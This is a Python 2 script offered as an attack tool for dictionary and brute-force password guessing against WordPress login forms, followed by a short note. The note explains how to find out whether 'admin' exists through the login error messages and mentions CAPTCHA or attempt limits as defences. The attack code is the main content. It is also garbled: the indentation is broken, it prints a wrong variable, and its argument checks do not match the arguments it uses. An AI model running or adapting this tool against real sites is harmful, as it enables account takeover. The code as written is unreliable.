############## Source code #####################
#!usr/bin/python
# Flaw found on Wordpress
# that allow Dictionnary & Bruteforce attack
# Greetz goes to : NeoMorphS, Tiky 
# Vendor : http://wordpress.org/
# Found by : Kad (kadfrox@gmail.com / #kadaj-diabolik@hotmail.fr)
import urllib , urllib2, sys, string
tab = "%s%s%s"%( string.ascii_letters, string.punctuation, string.digits )
tab = [  i for i in tab ]
def node( table, parent, size ):
  if size == 0:
    pass
  else:
    for c in table:
      string = "%s%s"%( parent, c )
                        data = {'log': sys.argv[2],
                                'pwd': string}
                        print "[+] Testing : "+string
                        request = urllib2.Request(server, urllib.urlencode(data))
                        f = urllib2.urlopen(request).read()
                        if not "Incorrect password.</div>" in f: print "[!] Password is : "+mot ; break
      node( table, string, size-1 )
 
def bruteforce( table, size ):
  for c in table:
    node( table, c, size-1 )
    
if (len(sys.argv) < 3):
    print "Usage : float.py <server> <user> <choice> <dico-characters>"
    print "\nDefault: User is 'admin'"
    print "Choice : 1} Dictionnary Attack, use dictionnary file"
    print "         2} Bruteforce Attack, use number of character for password"
    
else:
    server = sys.argv[1]
    if sys.argv[3] == "1":
  a , b = open(sys.argv[4],'r') , 0
  for lines in a: b = b + 1
  a.seek(0)  
  c = 0
  while (c < b):
    mot = a.readline().rstrip()
    data = {'log': sys.argv[2],
        'pwd': mot}
    print "[+] Testing : "+mot
    request = urllib2.Request(server, urllib.urlencode(data))
    f = urllib2.urlopen(request).read()
    if not "Incorrect password.</div>" in f: print "[!] Password is : "+mot ; break
    else: c = c + 1 ; pass
    if sys.argv[3] == "2":
  print "[-] Server is : "+server
  print "[-] User is : "+sys.argv[2]
  print "[-] Number of characters are : "+sys.argv[4]
        number = int(sys.argv[4])
        bruteforce( tab, number )
############## Source code #####################

The problem is : many time, the default user who is created is : admin, then you can try to crack the password, to stop that, you can use image confirmation or a limit for the connection (for example, only 5 tests). 

To know if "admin" is the default user, you can try to go to the login page : http://site.com/wp-login.php and you try ; login : admin, pass : test (or anything else). 

if "Wrong password" is printed on the page, the default user is admin, but if there is : "Wrong Username" then it's not the default password ;) 

Kad'